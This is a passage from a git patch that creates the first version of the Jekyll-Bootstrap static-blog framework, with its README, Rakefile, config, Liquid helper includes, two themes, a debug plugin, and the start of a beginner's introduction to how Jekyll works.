From 4c18e3c136bea49e3335ab594ae22d999892cf27 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Fri, 30 Dec 2011 14:17:44 -0800 Subject: [PATCH 001/144] version 0.0.1 --- .gitignore | 6 + 404.html | 1 + README.md | 41 ++ Rakefile | 29 + _config.yml | 18 + _includes/helpers/categories_list.html | 34 ++ _includes/helpers/liquid_raw.html | 29 + _includes/helpers/pages_list.html | 37 ++ _includes/helpers/posts_collate.html | 52 ++ _includes/helpers/tags_list.html | 30 + _includes/production/analytics.html | 5 + _includes/themes/mark-reid/default.html | 75 +++ _includes/themes/mark-reid/page.html | 6 + _includes/themes/mark-reid/post.html | 31 + _includes/themes/tom/default.html | 60 ++ _includes/themes/tom/page.html | 3 + _includes/themes/tom/post.html | 17 + _layouts/default.html | 4 + _layouts/page.html | 4 + _layouts/post.html | 4 + _plugins/debug.rb | 38 ++ .../2011-12-29-jekyll-introduction.md | 410 +++++++++++++ .../core-samples/api/2011-11-27-theme-api.md | 10 + .../api/2011-11-28-bootstrap-api.md | 65 +++ .../api/2011-11-29-jekyll-liquid-api.md | 38 ++ .../api/2011-11-30-template-data-api.md | 172 ++++++ .../helpers/2011-9-27-posts-collate.md | 34 ++ .../helpers/2011-9-28-categories-list.md | 49 ++ .../helpers/2011-9-29-pages-list.md | 43 ++ .../helpers/2011-9-30-tags-list.md | 50 ++ .../2011-10-28-deployment-and-hosting.md | 36 ++ .../usage/2011-10-29-configuring-urls.md | 26 + .../usage/2011-10-30-jekyll-theming.md | 31 + .../usage/2011-10-31-jekyll-quick-start.md | 81 +++ archive.html | 9 + assets/themes/mark-reid/css/screen.css | 549 ++++++++++++++++++ assets/themes/mark-reid/css/syntax.css | 60 ++ assets/themes/tom/css/screen.css | 197 +++++++ assets/themes/tom/css/syntax.css | 60 ++ categories.html | 21 + index.md | 45 ++ pages.html | 21 + sitemap.txt | 7 + tags.html | 20 + 44 files changed, 2558 insertions(+) create mode 100644 .gitignore create mode 100644 404.html create mode 100644 README.md create mode 100644 Rakefile create mode 100644 _config.yml create mode 100644 _includes/helpers/categories_list.html create mode 100644 _includes/helpers/liquid_raw.html create mode 100644 _includes/helpers/pages_list.html create mode 100644 _includes/helpers/posts_collate.html create mode 100644 _includes/helpers/tags_list.html create mode 100644 _includes/production/analytics.html create mode 100644 _includes/themes/mark-reid/default.html create mode 100644 _includes/themes/mark-reid/page.html create mode 100644 _includes/themes/mark-reid/post.html create mode 100644 _includes/themes/tom/default.html create mode 100644 _includes/themes/tom/page.html create mode 100644 _includes/themes/tom/post.html create mode 100644 _layouts/default.html create mode 100644 _layouts/page.html create mode 100644 _layouts/post.html create mode 100644 _plugins/debug.rb create mode 100644 _posts/core-samples/2011-12-29-jekyll-introduction.md create mode 100644 _posts/core-samples/api/2011-11-27-theme-api.md create mode 100644 _posts/core-samples/api/2011-11-28-bootstrap-api.md create mode 100644 _posts/core-samples/api/2011-11-29-jekyll-liquid-api.md create mode 100644 _posts/core-samples/api/2011-11-30-template-data-api.md create mode 100644 _posts/core-samples/helpers/2011-9-27-posts-collate.md create mode 100644 _posts/core-samples/helpers/2011-9-28-categories-list.md create mode 100644 _posts/core-samples/helpers/2011-9-29-pages-list.md create mode 100644 _posts/core-samples/helpers/2011-9-30-tags-list.md create mode 100644 _posts/core-samples/usage/2011-10-28-deployment-and-hosting.md create mode 100644 _posts/core-samples/usage/2011-10-29-configuring-urls.md create mode 100644 _posts/core-samples/usage/2011-10-30-jekyll-theming.md create mode 100644 _posts/core-samples/usage/2011-10-31-jekyll-quick-start.md create mode 100644 archive.html create mode 100644 assets/themes/mark-reid/css/screen.css create mode 100644 assets/themes/mark-reid/css/syntax.css create mode 100644 assets/themes/tom/css/screen.css create mode 100644 assets/themes/tom/css/syntax.css create mode 100644 categories.html create mode 100644 index.md create mode 100644 pages.html create mode 100644 sitemap.txt create mode 100644 tags.html diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..d81823a --- /dev/null +++ b/.gitignore @@ -0,0 +1,6 @@ +_site/* + +Thumbs.db +.DS_Store + +!.gitkeep diff --git a/404.html b/404.html new file mode 100644 index 0000000..6904bcd --- /dev/null +++ b/404.html @@ -0,0 +1 @@ +Sorry this page does not exist =( diff --git a/README.md b/README.md new file mode 100644 index 0000000..67305ee --- /dev/null +++ b/README.md @@ -0,0 +1,41 @@ +# Jekyll-Bootstrap + +This is a clean install of the core Jekyll Bootstrap framework you can clone and run your Jekyll blog with. + +Jekyll-bootstrap is the quickest and most hassle-free way to get your new Jekyll powered website up and running. +100% compatible with GitHub pages. + +## Usage + +For all usage and documentation please see: <http://jekyllbootstrap.com> + +## Version + +0.0.1 - stable but not versioned. + +This version is stable and readily deployable to GitHub Pages and production Jekyll installs. +However, please expect fast updates that are not backwards compatible with older installs. +When development reaches 0.1.0, version compatibility between releases will be respected. + +## Development + +Development is active! + +## Contributing + +This repository tracks 2 projects: + +- **Jekyll-Bootstrap Framework.** + The framework for which users should clone and build their blog on top of is available in the master branch. + Please fork and contribute additions to the framework itself here. + +- **Jekyll-Bootstrap Documentation Website.** + The documentation website at <http://jekyllbootstrap.com> is maintained in the gh-pages branch. + Please fork and contribute documentation additions to this branch only. + +The master and gh-pages branch do not share the same ancestry. Please treat them as completely separate git repositories! + + +## License + +[Creative Commons](http://creativecommons.org/licenses/by-nc-sa/3.0/) diff --git a/Rakefile b/Rakefile new file mode 100644 index 0000000..bea3fd9 --- /dev/null +++ b/Rakefile @@ -0,0 +1,29 @@ +require "rubygems" +require 'rake' + +desc "Switch between Jekyll-bootstrap themes." +task :switch_theme, :theme do |t, args| + theme_path = File.join(File.dirname(__FILE__), "_includes", "themes", args.theme) + layouts_path = File.join(File.dirname(__FILE__), "_layouts") + + abort("rake aborted: './_includes/themes/#{args.theme}' directory not found.") unless Dir.exists?(theme_path) + abort("rake aborted: './_layouts' directory not found.") unless Dir.exists?(layouts_path) + + Dir.glob("#{theme_path}/*") do |filename| + puts "Generating '#{args.theme}' layout: #{File.basename(filename)}" + + open("#{layouts_path}/#{File.basename(filename)}", 'w') do |page| + if File.basename(filename, ".html").downcase == "default" + page.puts "---" + page.puts "---" + page.puts "{% assign theme_asset_path = \"/assets/themes/#{args.theme}\" %}" + else + page.puts "---" + page.puts "layout: default" + page.puts "---" + end + page.puts "{% include themes/#{args.theme}/#{File.basename(filename)} %}" + end + end +end # task :switch_theme + diff --git a/_config.yml b/_config.yml new file mode 100644 index 0000000..47de579 --- /dev/null +++ b/_config.yml @@ -0,0 +1,18 @@ +# This is the default format. +# For more see: https://github.com/mojombo/jekyll/wiki/Permalinks +permalink: /:categories/:year/:month/:day/:title +auto: true +pygments: true +var: + archive_path: /archive.html + categories_path : /categories.html + tags_path : /tags.html + +production_url : http://username.github.com # or your custom domain name +title : My Blog =) + +author : + name : Name Lastname + email : blah@email.test + github : username + twitter : username diff --git a/_includes/helpers/categories_list.html b/_includes/helpers/categories_list.html new file mode 100644 index 0000000..2ced2d2 --- /dev/null +++ b/_includes/helpers/categories_list.html @@ -0,0 +1,34 @@ +{% comment %}<!-- +The categories_list include is a listing helper for categories. +Usage: + 1) assign the 'categories_list' variable to a valid array of tags. + 2) include helpers/categories_list.html. + example: + <ul> + {% assign categories_list = site.categories %} + {% include helpers/categories_list.html %} + </ul> + + Notes: + Categories can be either a Hash of Category objects (hashes) or an Array of category-names (strings). + The encapsulating 'if' statement checks whether categories_list is a Hash or Array. + site.categories is a Hash while page.categories is an array. + + This helper can be seen in use at: ../_layouts/default.html +-->{% endcomment %} + +{% if categories_list.first[0] == null %} + {% for category in categories_list %} + <li><a href="{{ site.var.categories_path }}#{{ category }}-ref"> + {{ category | join: "/" }} <span>{{ site.categories[category].size }}</span> + </a></li> + {% endfor %} +{% else %} + {% for category in categories_list %} + <li><a href="{{ site.var.categories_path }}#{{ category[0] }}-ref"> + {{ category[0] | join: "/" }} <span>{{ category[1].size }}</span> + </a></li> + {% endfor %} +{% endif %} + +{% assign categories_list = null %} diff --git a/_includes/helpers/liquid_raw.html b/_includes/helpers/liquid_raw.html new file mode 100644 index 0000000..54a15e4 --- /dev/null +++ b/_includes/helpers/liquid_raw.html @@ -0,0 +1,29 @@ +{% comment%}<!-- +The liquid_raw helper is a way to display raw liquid code, as opposed to parsing it. +Normally you'd use Liquid's built in 'raw' tag. +The problem is GitHub Jekyll does not support the current Liquid release. +GitHub Jekyll supports the deprecated 'literal' tag. +Using one will break the other if you plan to deploy to GitHub pages. + see: https://github.com/mojombo/jekyll/issues/425 + +Since I don't want to mess with Liquid versions, I'll just rewrite the way I +intend to give liquid examples. It's not an elegant by any means: + +Usage: + 1) Define a 'text' variable with the block of liquid code you intend to display. + 2) Pass the text variable to include helpers/liquid_raw.html. + + example: + {% capture text %}|.% for tag in tags_list %.| + <li><a href="|.{ site.var.tags_path }.||.{ tag[0] }.|-ref">|.{ tag[0] }.| <span>|.{tag[1].size}.|</span></a></li> + |.% endfor %.| + + |.% assign tags_list = null %.|{% endcapture %} + {% include helpers/liquid_raw.html %} + + As seen here, you must use "|." and ".|" as opening and closing brackets. +-->{% endcomment%} + +<pre><code>{{text | replace:"|.", "{" | replace:".|", "}" | replace:">", ">" | replace:"<", "<" }}</code></pre> + +{% assign text = null %} \ No newline at end of file diff --git a/_includes/helpers/pages_list.html b/_includes/helpers/pages_list.html new file mode 100644 index 0000000..44c5279 --- /dev/null +++ b/_includes/helpers/pages_list.html @@ -0,0 +1,37 @@ +{% comment %}<!-- +The pages_list include is a listing helper. +Usage: + 1) assign the 'pages_list' variable to a valid array of pages or posts. + 2) include helpers/pages_list.html. + example: + <ul> + {% assign pages_list = site.pages %} + {% include helpers/pages_list.html %} + </ul> + + Grouping: (optional): + assign the 'group' variable to constrain the list to only pages/posts + in the given group. Note you must define the group manually in the page/post + meta-data to use this feature. + Grouping is mainly helpful for non-post pages. + If you want to group posts, it's easier/better to tag them, then pass the tagged posts array. + i.e. site.tags.cool_tag (this returns an array of posts tagged: cool_tag) + + This helper can be seen in use at: ../_layouts/default.html +-->{% endcomment %} + + +{% for node in pages_list %} + {% if group == null or group == node.group %} + + {% if page.url == node.url %} + <li><a href="{{node.url}}" class="active">{{node.title}}</a></li> + {% else %} + <li><a href="{{node.url}}">{{node.title}}</a></li> + {% endif %} + + {% endif %} +{% endfor %} + +{% assign pages_list = null %} +{% assign group = null %} diff --git a/_includes/helpers/posts_collate.html b/_includes/helpers/posts_collate.html new file mode 100644 index 0000000..7e55554 --- /dev/null +++ b/_includes/helpers/posts_collate.html @@ -0,0 +1,52 @@ +{% comment %}<!-- +Collate_posts helper. Collated posts by year and month. +Usage: + 1) assign the 'posts_collate' variable to a valid array of posts. + 2) include helpers/posts_collate.html. + example: + {% assign posts_collate = site.posts %} + {% include helpers/posts_collate.html %} + + Ordering: + Posts are displayed in reverse chronological order. + For normal chronological order: + 1) Change the for loop to this: + => 'for post in site.posts reversed' + 2) Next make sure to change 'post.previous.date' to: + => 'post.next.date' + +-->{% endcomment %} + +{% for post in posts_collate %} + {% capture this_year %}{{ post.date | date: "%Y" }}{% endcapture %} + {% capture this_month %}{{ post.date | date: "%B" }}{% endcapture %} + {% capture next_year %}{{ post.previous.date | date: "%Y" }}{% endcapture %} + {% capture next_month %}{{ post.previous.date | date: "%B" }}{% endcapture %} + + {% if forloop.first %} + <h2>{{this_year}}</h2> + <h3>{{this_month}}</h3> + <ul> + {% endif %} + + <li><span>{{ post.date | date: "%B %e, %Y" }}</span> <a href="{{ post.url }}">{{ post.title }}</a></li> + + {% if forloop.last %} + </ul> + {% else %} + {% if this_year != next_year %} + </ul> + <h2>{{next_year}}</h2> + <h3>{{next_month}}</h3> + <ul> + {% else %} + {% if this_month != next_month %} + </ul> + <h3>{{next_month}}</h3> + <ul> + {% endif %} + {% endif %} + {% endif %} +{% endfor %} + +{% assign posts_collate = null %} diff --git a/_includes/helpers/tags_list.html b/_includes/helpers/tags_list.html new file mode 100644 index 0000000..d2518e0 --- /dev/null +++ b/_includes/helpers/tags_list.html @@ -0,0 +1,30 @@ +{% comment %}<!-- +The tags_list include is a listing helper for tags. +Usage: + 1) assign the 'tags_list' variable to a valid array of tags. + 2) include helpers/tags_list.html. + example: + <ul> + {% assign tags_list = site.tags %} + {% include helpers/tags_list.html %} + </ul> + + Notes: + Tags can be either a Hash of tag objects (hashes) or an Array of tag-names (strings). + The encapsulating 'if' statement checks whether tags_list is a Hash or Array. + site.tags is a Hash while page.tags is an array. + + This helper can be seen in use at: ../_layouts/default.html +-->{% endcomment %} + +{% if tags_list.first[0] == null %} + {% for tag in tags_list %} + <li><a href="{{ site.var.tags_path }}#{{ tag }}-ref">{{ tag }} <span>{{ site.tags[tag].size }}</span></a></li> + {% endfor %} +{% else %} + {% for tag in tags_list %} + <li><a href="{{ site.var.tags_path }}#{{ tag[0] }}-ref">{{ tag[0] }} <span>{{ tag[1].size }}</span></a></li> + {% endfor %} +{% endif %} + +{% assign tags_list = null %} diff --git a/_includes/production/analytics.html b/_includes/production/analytics.html new file mode 100644 index 0000000..3f12c6a --- /dev/null +++ b/_includes/production/analytics.html @@ -0,0 +1,5 @@ +<!-- + Drop your analytics in here. + This will only be included when published to GitHub. + We use "site.safe" variable which is true on GitHub. +--> \ No newline at end of file diff --git a/_includes/themes/mark-reid/default.html b/_includes/themes/mark-reid/default.html new file mode 100644 index 0000000..835a4bc --- /dev/null +++ b/_includes/themes/mark-reid/default.html @@ -0,0 +1,75 @@ +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" + "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> + +<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en-us"> +<head> + <meta http-equiv="content-type" content="text/html; charset=utf-8" /> + <title>{{ page.title }} ← {{ page.top }}</title> + <meta name="author" content="{{ site.author.name }}" /> + + <link rel="start" href="/" /> + + {% if page.keywords %} + <meta name="keywords" content="{{ page.keywords }}"> + {% endif %} + + {% if page.feed %} + <link rel="alternate" type="application/atom+xml" href="{{ page.feed }}" title="RSS feed" /> + {% endif %} + + <!-- syntax highlighting CSS --> + <link rel="stylesheet" href="{{ theme_asset_path }}/css/syntax.css" type="text/css" /> + + <!-- Homepage CSS --> + <link rel="stylesheet" href="{{ theme_asset_path }}/css/screen.css" type="text/css" /> + +</head> +<body id="{{ page.section }}"> +<div id="site"> + + <div id="header"> + <h1> + <a href="/" title="{{ site.title }}">{{ site.title }}</a> + <span class="byline">← <a href="/">{{ site.author.name }}</a></span> + </h1> + <ul class="nav"> + <li><a class="home" href="/">Home</a></li> + <li><a href="/archive.html">Archive</a></li> + <li><a href="/pages.html">Pages</a></li> + <li><a href="/categories.html">Categories</a></li> + <li><a href="/tags.html">Tags</a></li> + </ul> + </div> + + {{ content }} + + <div id="footer"> + <address> + <span class="copyright"> + Content by <a href="/info/site.html">{{ site.author.name }}</a>. Design by + <a href="http://mark.reid.name/">Mark Reid</a> + <br/> + (<a rel="licence" href="http://creativecommons.org/licenses/by-nc-sa/3.0/">Some rights reserved</a>) + </span> + <span class="engine"> + Powered by <a href="http://github.com/mojombo/jekyll/" title="A static, minimalist CMS">Jekyll</a> + </span> + </address> + </div> + +</div> + +<!--[if IE 6]> +<script type="text/javascript"> + /*Load jQuery if not already loaded*/ if(typeof jQuery == 'undefined'){ document.write("<script type=\"text/javascript\" src=\"http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js\"></"+"script>"); var __noconflict = true; } + var IE6UPDATE_OPTIONS = { + icons_path: "http://static.ie6update.com/hosted/ie6update/images/" + } +</script> +<script type="text/javascript" src="http://static.ie6update.com/hosted/ie6update/ie6update.js"></script> +<![endif]--> +{% if site.safe %} + {% include production/analytics.html %} +{% endif %} +</body> +</html> diff --git a/_includes/themes/mark-reid/page.html b/_includes/themes/mark-reid/page.html new file mode 100644 index 0000000..05af78e --- /dev/null +++ b/_includes/themes/mark-reid/page.html @@ -0,0 +1,6 @@ +<div id="page"> + +<h1 class="emphnext">{{ page.title }}</h1> +{{ content }} + +</div><!-- End Page --> diff --git a/_includes/themes/mark-reid/post.html b/_includes/themes/mark-reid/post.html new file mode 100644 index 0000000..76dd994 --- /dev/null +++ b/_includes/themes/mark-reid/post.html @@ -0,0 +1,31 @@ +<div id="page"> + + <h1 class="emphnext">{{ page.title }}</h1> + <ul class="tag_box inline"> + {% assign tags_list = page.tags %} + {% include helpers/tags_list.html %} + </ul> + + {{ content }} + + <address class="signature"> + <a class="author" href="/">{{ site.author.name }}</a> + <span class="date">{{ page.date | date_to_long_string }}</span> + <span class="location">{{ page.location }}</span> + </address> + + <div class="prev-next"> + {% if page.next %} + <a href="{{ page.next.url }}" class="next" title="{{ page.next.title }}">Next Post →</a> + {% endif %} + {% if page.previous %} + <a href="{{ page.previous.url }}" class="prev" title="{{ page.previous.title }}">← Earlier Post</a> + {% endif %} + </div> + +</div><!-- End Page --> + +<!-- Discus Comments --> +<div id="disqus_thread"> + <h2>Comment Section</h2> +</div> diff --git a/_includes/themes/tom/default.html b/_includes/themes/tom/default.html new file mode 100644 index 0000000..2c43e6b --- /dev/null +++ b/_includes/themes/tom/default.html @@ -0,0 +1,60 @@ +<!DOCTYPE html> +<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en-us"> +<head> + <meta http-equiv="content-type" content="text/html; charset=utf-8" /> + <title>{{ page.title }}</title> + <meta name="author" content="{{ site.author.name }}" /> + <link href="http://feeds.feedburner.com/username" rel="alternate" title="your title" type="application/atom+xml" /> + + <!-- syntax highlighting CSS --> + <link rel="stylesheet" href="{{ theme_asset_path }}/css/syntax.css" type="text/css" /> + + <!-- Homepage CSS --> + <link rel="stylesheet" href="{{ theme_asset_path }}/css/screen.css" type="text/css" media="screen, projection" /> + + <!-- Typekit --> + <script type="text/javascript" src="http://use.typekit.com/jpd0pfm.js"></script> + <script type="text/javascript">try{Typekit.load();}catch(e){}</script> +</head> +<body> + + <div class="site"> + <div class="title"> + <a href="/">{{ site.title }}</a> + <a class="extra" href="/archive.html">Archive</a> + <a class="extra" href="/pages.html">Pages</a> + <a class="extra" href="/categories.html">Categories</a> + <a class="extra" href="/tags.html">Tags</a> + </div> + + {{ content }} + + <div class="footer"> + <div class="contact"> + <p> + {{ site.author.name }}<br /> + tagline<br /> + {{ site.author.email }} + </p> + </div> + <div class="contact"> + <p> + <a href="http://github.com/{{ site.author.github }}/">github.com/{{ site.author.github }}</a><br /> + <a href="http://twitter.com/{{ site.author.twitter }}/">twitter.com/{{ site.author.twitter }}</a><br /> + <a href="http://flickr.com/photos/username/">flickr.com/photos/username</a> + </p> + </div> + <div class="rss"> + <a href="http://feeds.feedburner.com/username"> + <img src="/images/rss.png" alt="Subscribe to RSS Feed" /> + </a> + </div> + </div> + </div> + <a href="http://github.com/{{ site.author.github }}"><img style="position: absolute; top: 0; right: 0; border: 0;" src="http://s3.amazonaws.com/github/ribbons/forkme_right_red_aa0000.png" alt="Fork me on GitHub" /></a> + +{% if site.safe %} + {% include production/analytics.html %} +{% endif %} +</body> +</html> diff --git a/_includes/themes/tom/page.html b/_includes/themes/tom/page.html new file mode 100644 index 0000000..8c753b9 --- /dev/null +++ b/_includes/themes/tom/page.html @@ -0,0 +1,3 @@ +<div id="post"> +{{ content }} +</div> diff --git a/_includes/themes/tom/post.html b/_includes/themes/tom/post.html new file mode 100644 index 0000000..fc94e5e --- /dev/null +++ b/_includes/themes/tom/post.html @@ -0,0 +1,17 @@ +<div id="post"> + <h1>{{ page.title }}</h1> + <p class="meta"> + {{ page.date | date_to_long_string }} + {% if page.location %}{{ page.location }}{% endif %} + </p> + {{ content }} +</div> + +<div id="related"> + <h2>Related Posts</h2> + <ul class="posts"> + {% for post in site.related_posts limit:3 %} + <li><span>{{ post.date | date_to_string }}</span> » <a href="{{ post.url }}">{{ post.title }}</a></li> + {% endfor %} + </ul> +</div> \ No newline at end of file diff --git a/_layouts/default.html b/_layouts/default.html new file mode 100644 index 0000000..2391b67 --- /dev/null +++ b/_layouts/default.html @@ -0,0 +1,4 @@ +--- +--- +{% assign theme_asset_path = "/assets/themes/tom" %} +{% include themes/tom/default.html %} diff --git a/_layouts/page.html b/_layouts/page.html new file mode 100644 index 0000000..7985e03 --- /dev/null +++ b/_layouts/page.html @@ -0,0 +1,4 @@ +--- +layout: default +--- +{% include themes/tom/page.html %} diff --git a/_layouts/post.html b/_layouts/post.html new file mode 100644 index 0000000..66490a9 --- /dev/null +++ b/_layouts/post.html @@ -0,0 +1,4 @@ +--- +layout: default +--- +{% include themes/tom/post.html %} diff --git a/_plugins/debug.rb b/_plugins/debug.rb new file mode 100644 index 0000000..e1dde39 --- /dev/null +++ b/_plugins/debug.rb @@ -0,0 +1,38 @@ +# A simple way to inspect liquid template variables. +# Usage: +# Can be used anywhere liquid syntax is parsed (templates, includes, posts/pages) +# {{ site | debug }} +# {{ site.posts | debug }} +# +require 'pp' +module Jekyll + # Need to overwrite the inspect method here because the original + # uses < > to encapsulate the psuedo post/page objects in which case + # the output is taken for HTML tags and hidden from view. + # + class Post + def inspect + "#Jekyll:Post @id=#{self.id.inspect}" + end + end + + class Page + def inspect + "#Jekyll:Page @name=#{self.name.inspect}" + end + end + +end # Jekyll + +module Jekyll + module DebugFilter + + def debug(obj, stdout=false) + puts obj.pretty_inspect if stdout + "<pre>#{obj.class}\n#{obj.pretty_inspect}</pre>" + end + + end # DebugFilter +end # Jekyll + +Liquid::Template.register_filter(Jekyll::DebugFilter) \ No newline at end of file diff --git a/_posts/core-samples/2011-12-29-jekyll-introduction.md b/_posts/core-samples/2011-12-29-jekyll-introduction.md new file mode 100644 index 0000000..7f92150 --- /dev/null +++ b/_posts/core-samples/2011-12-29-jekyll-introduction.md @@ -0,0 +1,410 @@ +--- +layout: post +category : lessons +tags : [intro, beginner, jekyll, tutorial] +--- + +This Jekyll introduction will outline specifically what Jekyll is and why you would want to use it. +Directly following the intro we'll learn exactly _how_ Jekyll does what it does. + +## Overview + +### What is Jekyll? + +Jekyll is a parsing engine bundled as a ruby gem used to build static websites from +dynamic components such as templates, partials, liquid code, markdown, etc. Jekyll is known as "a simple, blog aware, static site generator". + +### Examples + +This website is created with Jekyll. [Other Jekyll websites](https://github.com/mojombo/jekyll/wiki/Sites). + + + +### What does Jekyll Do? + +Jekyll is a ruby gem you install on your local system. +Once there you can call `jekyll --server` on a directory and provided that directory +is setup in a way jekyll expects, it will do magic stuff like parse markdown/textile files, +compute categories, tags, permalinks, and construct your pages from layout templates and partials. + +Once parsed, Jekyll stores the result in a self-contained static `_site` folder. +The intention here is that you can serve all contents in this folder statically from a plain static web-server. + +You can think of Jekyll as a normalish dynamic blog but rather than parsing content, templates, and tags +on each request, Jekyll does this once _beforehand_ and caches the _entire website_ in a folder for serving statically. + +### Jekyll is Not Blogging Software + +**Jekyll is a parsing engine.** + +Jekyll does not come with any content nor does it have any templates or design elements. +This is a common source of confusion when getting started. +Jekyll does not come with anything you actually use or see on your website - you have to make it. + +### Why Should I Care? + +Jekyll is very minimalistic and very efficient. +The most important thing to realize about Jekyll is that it creates a static representation of your website requiring only a static web-server. +Traditional dynamic blogs like Wordpress require a database and server-side code. +Heavily trafficked dynamic blogs must employ a caching layer that ultimately performs the same job Jekyll sets out to do; serve static content. + +Therefore if you like to keep things simple and you prefer the command-line over an admin panel UI then give Jekyll a try. + +**Developers like Jekyll because we can write content like we write code:** + +- Ability to write content in markdown or textile in your favorite text-editor. +- Ability to write and preview your content via localhost. +- No internet connection required. +- Ability to publish via git. +- Ability to host your blog on a static web-server. +- Ability to host freely on GitHub Pages. +- No database required. + +# How Jekyll Works + +The following is a complete but concise outline of exactly how Jekyll works. + +Be aware that core concepts are introduced in rapid succession without code examples. +This information is not intended to specifically teach you how to do anything, rather it +is intended to give you the _full picture_ relative to what is going on in Jekyll-world. + +Learning these core concepts should help you avoid common frustrations and ultimately +help you better understand the code examples contained throughout Jekyll-Bootstrap. + + +## Initial Setup + +After [installing jekyll](/index.html#start-now) you'll need to format your website directory in a way jekyll expects. +Jekyll-bootstrap conveniently provides the base directory format. + +### The Jekyll Application Base Format + +Jekyll expects your website directory to be laid out like so: + + . + |-- _config.yml + |-- _includes + |-- _layouts + | |-- default.html + | |-- post.html + |-- _posts + | |-- 20011-10-25-open-source-is-good.markdown + | |-- 20011-04-26-hello-world.markdown + |-- _site + |-- index.html + |-- assets + |-- css + |-- style.css + |-- javascripts + + +- **\_config.yml** + Stores configuration data. + +- **\_includes** + This folder is for partial views. + +- **\_layouts** + This folder is for the main templates your content will be inserted into. + You can have different layouts for different pages or page sections. + +- **\_posts** + This folder contains your dynamic content/posts. + the naming format is required to be `@YEAR-MONTH-DATE-title.MARKUP@`. + +- **\_site** + This is where the generated site will be placed once Jekyll is done transforming it. + +- **assets** + This folder is not part of the standard jekyll structure. + The assets folder represents _any generic_ folder you happen to create in your root directory. + Directories and files not properly formatted for jekyll will be left untouched for you to serve normally. + +(read more: <https://github.com/mojombo/jekyll/wiki/Usage>) + + +### Jekyll Configuration + +Jekyll supports various configuration options that are fully outlined here: +<https://github.com/mojombo/jekyll/wiki/Configuration> + + + + +## Content in Jekyll + +Content in Jekyll is either a post or a page. +These content "objects" get inserted into one or more templates to build the final output for its respective static-page. + +### Posts and Pages + +Both posts and pages should be written in markdown, textile, or HTML and may also contain Liquid templating syntax. +Both posts and pages can have meta-data assigned on a per-page basis such as title, url path, as well as arbitrary custom meta-data. + +### Working With Posts + +**Creating a Post** +Posts are created by properly formatting a file and placing it the `_posts` folder. + +**Formatting** +A post must have a valid filename in the form `YEAR-MONTH-DATE-title.MARKUP` and be placed in the `_posts` directory. +If the data format is invalid Jekyll will not recognize the file as a post. The date and title are automatically parsed from the filename of the post file. +Additionally, each file must have [YAML Front-Matter](https://github.com/mojombo/jekyll/wiki/YAML-Front-Matter) prepended to its content. +YAML Front-Matter is a valid YAML syntax specifying meta-data for the given file. + +**Order** +Ordering is an important part of Jekyll but it is hard to specify a custom ordering strategy. +Only reverse chronological and chronological ordering is supported in Jekyll. + +Since the date is hard-coded into the filename format, to change the order, you must change the dates in the filenames. + +**Tags** +Posts can have tags associated with them as part of their meta-data. +Tags may be placed on posts by providing them in the post's YAML front matter. +You have access to the post-specific tags in the templates. These tags also get added to the sitewide collection. + +**Categories** +Posts may be categorized by providing one or more categories in the YAML front matter. +Categories offer more significance over tags in that they can be reflected in the URL path to the given post. +Note categories in Jekyll work in a specific way. +If you define more than one category you are defining a category hierarchy "set". +Example: + + --- + title : Hello World + categories : [lessons, beginner] + --- + +This defines the category hierarchy "lessons/beginner". Note this is _one category_ node in Jekyll. +You won't find "lessons" and "beginner" as two separate categories unless you define them elsewhere as singular categories. + +### Working With Pages + +**Creating a Page** +Pages are created by properly formatting a file and placing it anywhere in the root directory or subdirectories that do _not_ start with an underscore. + +**Formatting** +In order to register as a Jekyll page the file must contain [YAML Front-Matter](https://github.com/mojombo/jekyll/wiki/YAML-Front-Matter). +Registering a page means 1) that Jekyll will process the page and 2) that the page object will be available in the `site.pages` array for inclusion into your templates. + +**Categories and Tags** +Pages do not compute categories nor tags so defining them will have no effect. + +**Sub-Directories** +If pages are defined in sub-directories, the path to the page will be reflected in the url. +Example: + + . + |-- people + |-- bob + |-- essay.html + +This page will be available at `http://yourdomain.com/people/bob/essay.html` + + +**Recommended Pages** + +- **index.html** + You will always want to define the root index.html page as this will display on your root URL. +- **404.html** + Create a root 404.html page and GitHub Pages will serve it as your 404 response. +- **sitemap.html** + Generating a sitemap is good practice for SEO. +- **about.html** + A nice about page is easy to do and gives the human perspective to your website. + + +## Templates in Jekyll + +Templates are used to contain a page's or post's content. +All templates have access to a global site object variable: `site` as well as a page object variable: `page`. +The site variable holds all accessible content and metadata relative to the site. +The page variable holds accessible data for the given page or post being rendered at that point. + +**Create a Template** +Templates are created by properly formatting a file and placing it in the `_layouts` directory. + +**Formatting** +Templates should be coded in HTML and contain YAML Front Matter. +All templates can contain Liquid code to work with your site's data. + +**Rending Page/Post Content in a Template** +There is a special variable in all templates named : `content`. +The `content` variable holds the page/post content including any sub-template content previously defined. +Render the content variable wherever you want your main content to be injected into your template: + +{% capture text %}... +<body> + <div id="sidebar"> ... </div> + <div id="main"> + |.{content}.| + </div> +</body> +...{% endcapture %} +{% include helpers/liquid_raw.html %} + +### Sub-Templates + +Sub-templates are exactly templates with the only difference being they +define another "root" layout/template within their YAML Front Matter. +This essentially means a template will render inside of another template. + +### Includes +In Jekyll you can define include files by placing them in the `_includes` folder. +Includes are NOT templates, rather they are just code snippets that get included into templates. +In this way, you can treat the code inside includes as if it was native to the parent template. + +Any valid template code may be used in includes. + + +## Using Liquid for Templating + +Templating is perhaps the most confusing and frustrating part of Jekyll. +This is mainly due to the fact that Jekyll templates must use the Liquid Templating Language. + +### What is Liquid? + +[Liquid](https://github.com/Shopify/liquid) is a secure templating language developed by [Shopify](http://shopify.com). +Liquid is designed for end-users to be able to execute logic within template files +without imposing any security risk on the hosting server. + +Jekyll uses Liquid to generate the post content within the final page layout structure and as the primary interface for working with +your site and post/page data. + +### Why Do We Have to Use Liquid? + +GitHub uses Jekyll to power [GitHub Pages](http://pages.github.com/). +GitHub cannot afford to run arbitrary code on their servers so they lock developers down via Liquid. + +### Liquid is Not Programmer-Friendly. + +The short story is liquid is not real code and its not intended to execute real code. +The point being you can't do jackshit in liquid that hasn't been allowed explicitly by the implementation. +What's more you can only access data-structures that have been explicitly passed to the template. + +In Jekyll's case it is not possible to alter what is passed to Liquid without hacking the gem or running custom plugins. +Both of which cannot be supported by GitHub Pages. + +As a programmer - this is very frustrating. + +But rather than look a gift horse in the 